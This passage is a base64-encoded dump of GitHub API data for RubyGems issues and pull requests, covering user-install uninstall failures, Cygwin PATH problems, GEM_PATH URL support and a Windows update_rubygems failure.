20vdXNlcnMvYnJvbnpkb2Mvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjp7ImxvZ2luIjoiYnJvbnpkb2MiLCJpZCI6NDU5NTE3NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNDU5NTE3ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9icm9uemRvYyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImFzc2lnbmVlcyI6W3sibG9naW4iOiJicm9uemRvYyIsImlkIjo0NTk1MTc0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS80NTk1MTc0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2Jyb256ZG9jIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfV0sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEsImNyZWF0ZWRfYXQiOiIyMDE2LTAzLTExVDAyOjUzOjE5WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA0LTAyVDIwOjMyOjE3WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTUVNQkVSIiwiYm9keSI6IkknbSBoYXZpbmcgYSBwcm9ibGVtIG9yIHdvdWxkIGxpa2UgdG8gc3VnZ2VzdCBhIGZlYXR1cmUuXG5cbk15IGN1cnJlbnQgcHJvYmxlbSBpczpcbmBnZW0gdW5pbnN0YWxsIGdlbV9uYW1lIC0tdXNlci1pbnN0YWxsYCB3b3VsZCBub3QgdW5pbnN0YWxsIGZyb20gIHRoZSBgVVNFUiBJTlNUQUxMQVRJT04gRElSRUNUT1JZYGBcblxudG8gcmVwcm9kdWNlIHRoaXM6IFxuYGdlbSBpbnN0YWxsIGFueV9nZW0gLS11c2VyLWluc3RhbGxgXG5gZ2VtIHVuaW5zdGFsbCBhbnlfZ2VtIC0tdXNlci1pbnN0YWxsYFxudGhlIGdlbSB3b3VsZG4ndCBiZSB1bmluc3RhbGxlZFxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxuLSBbIF0gTmV0d29yayBwcm9ibGVtc1xuLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcbi0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XG4tIFsgXSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXG4tIFsgXSBPdGhlclxuXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudnJpb25tZW50IGRldGFpbHM6XG5cbmBgYFxuUnVieUdlbXMgRW52aXJvbm1lbnQ6XG4tIFJVQllHRU1TIFZFUlNJT046IDIuNi4xXG4gIC0gUlVCWSBWRVJTSU9OOiAyLjIuMiAoMjAxNS0wNC0xMyBwYXRjaGxldmVsIDk1KSBbeDg2XzY0LWxpbnV4XVxuICAtIElOU1RBTExBVElPTiBESVJFQ1RPUlk6IC9ob21lL2Jyb256ZG9jLy5ydm0vZ2Vtcy9ydWJ5LTIuMi4yXG4gIC0gVVNFUiBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiAvaG9tZS9icm9uemRvYy8uZ2VtL3J1YnkvMi4yLjBcbiAgLSBSVUJZIEVYRUNVVEFCTEU6IC9ob21lL2Jyb256ZG9jLy5ydm0vcnViaWVzL3J1YnktMi4yLjIvYmluL3J1YnlcbiAgLSBFWEVDVVRBQkxFIERJUkVDVE9SWTogL2hvbWUvYnJvbnpkb2MvLnJ2bS9nZW1zL3J1YnktMi4yLjIvYmluXG4gIC0gU1BFQyBDQUNIRSBESVJFQ1RPUlk6IC9ob21lL2Jyb256ZG9jLy5nZW0vc3BlY3NcbiAgLSBTWVNURU0gQ09ORklHVVJBVElPTiBESVJFQ1RPUlk6IC9ob21lL2Jyb256ZG9jLy5ydm0vcnViaWVzL3J1YnktMi4yLjIvZXRjXG4gIC0gUlVCWUdFTVMgUExBVEZPUk1TOlxuICAgIC0gcnVieVxuICAgIC0geDg2XzY0LWxpbnV4XG4gIC0gR0VNIFBBVEhTOlxuICAgICAtIC9ob21lL2Jyb256ZG9jLy5ydm0vZ2Vtcy9ydWJ5LTIuMi4yXG4gICAgIC0gL2hvbWUvYnJvbnpkb2MvLnJ2bS9nZW1zL3J1YnktMi4yLjJAZ2xvYmFsXG4gIC0gR0VNIENPTkZJR1VSQVRJT046XG4gICAgIC0gOnVwZGF0ZV9zb3VyY2VzID0+IHRydWVcbiAgICAgLSA6dmVyYm9zZSA9PiB0cnVlXG4gICAgIC0gOmJhY2t0cmFjZSA9PiBmYWxzZVxuICAgICAtIDpidWxrX3RocmVzaG9sZCA9PiAxMDAwXG4gIC0gUkVNT1RFIFNPVVJDRVM6XG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvXG4gIC0gU0hFTEwgUEFUSDpcbiAgICAgLSAvaG9tZS9icm9uemRvYy8ucnZtL2dlbXMvcnVieS0yLjIuMi9iaW5cbiAgICAgLSAvaG9tZS9icm9uemRvYy8ucnZtL2dlbXMvcnVieS0yLjIuMkBnbG9iYWwvYmluXG4gICAgIC0gL2hvbWUvYnJvbnpkb2MvLnJ2bS9ydWJpZXMvcnVieS0yLjIuMi9iaW5cbiAgICAgLSAvaG9tZS9icm9uemRvYy8ucnZtL2JpblxuICAgICAtIC91c3IvbG9jYWwvYmluXG4gICAgIC0gL3Vzci9iaW5cbiAgICAgLSAvYmluXG4gICAgIC0gL3Vzci9sb2NhbC9nYW1lc1xuICAgICAtIC91c3IvZ2FtZXNcbiAgICAgLSAvaG9tZS9icm9uemRvYy9wcm9qZWN0cy9ydWJ5L3J2bV9kZXYvYmluXG4gICAgIC0gL2hvbWUvYnJvbnpkb2MvZ29jb2RlL2JpblxuICAgICAtIC91c3IvbG9jYWwvZ28vYmluXG5gYGBcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUzNyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTM3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTM3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MzcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MzciLCJpZCI6MTM5MDk5NzU4LCJudW1iZXIiOjE1MzcsInRpdGxlIjoiQ3lnd2luIGluc3RhbGwgcGxhY2VzIGdlbSBiaW5zIG91dHNpZGUgb2YgJFBBVEggZW52aXJvbm1lbnQiLCJ1c2VyIjp7ImxvZ2luIjoiZGFuLWJyeWFudCIsImlkIjoxMTIxNDU3MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTEyMTQ1NzE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Rhbi1icnlhbnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9kYW4tYnJ5YW50IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGFuLWJyeWFudC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYW4tYnJ5YW50L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Rhbi1icnlhbnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Rhbi1icnlhbnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYW4tYnJ5YW50L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGFuLWJyeWFudC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYW4tYnJ5YW50L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGFuLWJyeWFudC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGFuLWJyeWFudC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE5LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBpbnN0YWxsIiwibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTksImNyZWF0ZWRfYXQiOiIyMDE2LTAzLTA3VDIxOjI4OjE4WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAyLTI0VDE5OjI3OjQ0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJGcmVzaCBSdWJ5IGluc3RhbGxzIG9uIEN5Z3dpbiBzeXN0ZW1zIHBsYWNlIGdlbXMgaW4gYH4vYmluYCB3aGljaCBpcyBub3QgaW4gdGhlIGAkUEFUSGAgZW52aXJvbm1lbnQuICBUaGlzIGNhdXNlcyBvYnZpb3VzIGBjb21tYW5kIG5vdCBmb3VuZGAgZXJyb3JzIG9uIGdlbSBiYXNlZCB1dGlsaXRpZXMuXG5cblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcbi0gW3hdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XG4tIFt4XSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXG5cbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcblxuYGBgXG4kIGdlbSBlbnYgdmVyc2lvblxuMi40LjhcblxuJCBydWJ5IC12XG5ydWJ5IDIuMi40cDIzMCAoMjAxNS0xMi0xNiByZXZpc2lvbiA1MzE1NSkgW3g4Nl82NC1jeWd3aW5dXG5gYGBcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbi0gW3hdIEkgQWdyZWVcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUzNCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTM0L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTM0L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MzQvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNTM0IiwiaWQiOjEzODYxNDY3NiwibnVtYmVyIjoxNTM0LCJ0aXRsZSI6InN1cHBvcnQgdXJscyBpbiB0aGUgR0VNX1BBVEggZW52aXJvbm1lbnQgdmFyaWFibGUiLCJ1c2VyIjp7ImxvZ2luIjoidGVuZGVybG92ZSIsImlkIjozMTI0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMTI0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdGVuZGVybG92ZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjp0cnVlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjExLCJjcmVhdGVkX2F0IjoiMjAxNi0wMy0wNFQyMzoyMDo0MVoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMToxNloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik1FTUJFUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE1MzQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MzQiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MzQuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MzQucGF0Y2gifSwiYm9keSI6IiMgRGVzY3JpcHRpb246XG5cbi0tLVxuIyBUYXNrczpcbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbeF0gV3JpdGUgdGVzdHNcbi0gW3hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcbi0gW3hdIFtTcXVhc2ggY29tbWl0c10oaHR0cDovL2dpdHJlYWR5LmNvbS9hZHZhbmNlZC8yMDA5LzAyLzEwL3NxdWFzaGluZy1jb21taXRzLXdpdGgtcmViYXNlLmh0bWwpXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXG5cblRoaXMgYWRkcyBzdXBwb3J0IGZvciBVUkxzIGluIHRoZSBHRU1fUEFUSCBlbnZpcm9ubWVudCB2YXJpYWJsZSBieVxuZXNjYXBpbmcgLyB1bmVzY2FwaW5nIHBhdGhzIHRoYXQgYXJlIHBhc3NlZCBpbiB0aGUgYHVzZV9wYXRoc2AgbWV0aG9kLlxuVGhlIGJlbmVmaXRzIG9mIHRoaXMgcGF0Y2ggYXJlOlxuLSBQZW9wbGUgY2FuIHNwZWNpZnkgYSBVUkwgb24gdGhlIGNvbW1hbmQgbGluZSB2aWEgYW4gZW52aXJvbm1lbnQgdmFyaWFibGVcbi0gSlJ1YnkgY2FuIHJlbW92ZSB0aGlzIG1ldGhvZDogaHR0cHM6Ly9naXRodWIuY29tL2pydWJ5L2pydWJ5L2Jsb2IvYWI3YjBhMDZlMWM5M2UzNWFjMTg2OTNhYmFkZTczMGE0NTU4ZTU1Yi9saWIvcnVieS9zdGRsaWIvcnVieWdlbXMvZGVmYXVsdHMvanJ1YnkucmIjTDczLUw3NlxuXG4vY2MgQGhlYWRpdXMgXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MzMiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUzMy9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUzMy9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTMzL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTMzIiwiaWQiOjEzODM0OTI1NCwibnVtYmVyIjoxNTMzLCJ0aXRsZSI6IlJ1bm5pbmcgdXBkYXRlX3J1YnlnZW1zIG1heSBoYXBwZW4gdG8gZmFpbCBvbiBXaW5kb3dzIiwidXNlciI6eyJsb2dpbiI6ImdhbGxlbGxpIiwiaWQiOjE1NzExLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTcxMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2FsbGVsbGkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9nYWxsZWxsaSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dhbGxlbGxpL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dhbGxlbGxpL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dhbGxlbGxpL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nYWxsZWxsaS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dhbGxlbGxpL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2FsbGVsbGkvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2FsbGVsbGkvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nYWxsZWxsaS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2FsbGVsbGkvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIxOSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwaW5zdGFsbCIsIm5hbWUiOiJjYXRlZ29yeTogaW5zdGFsbCIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTcyODg1MSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvcGxhdGZvcm06JTIwd2luZG93cyIsIm5hbWUiOiJwbGF0Zm9ybTogd2luZG93cyIsImNvbG9yIjoiNTMxOWU3IiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjQsImNyZWF0ZWRfYXQiOiIyMDE2LTAzLTA0VDAxOjQyOjEyWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAxLTEyVDE5OjE5OjE4WiIsImNsb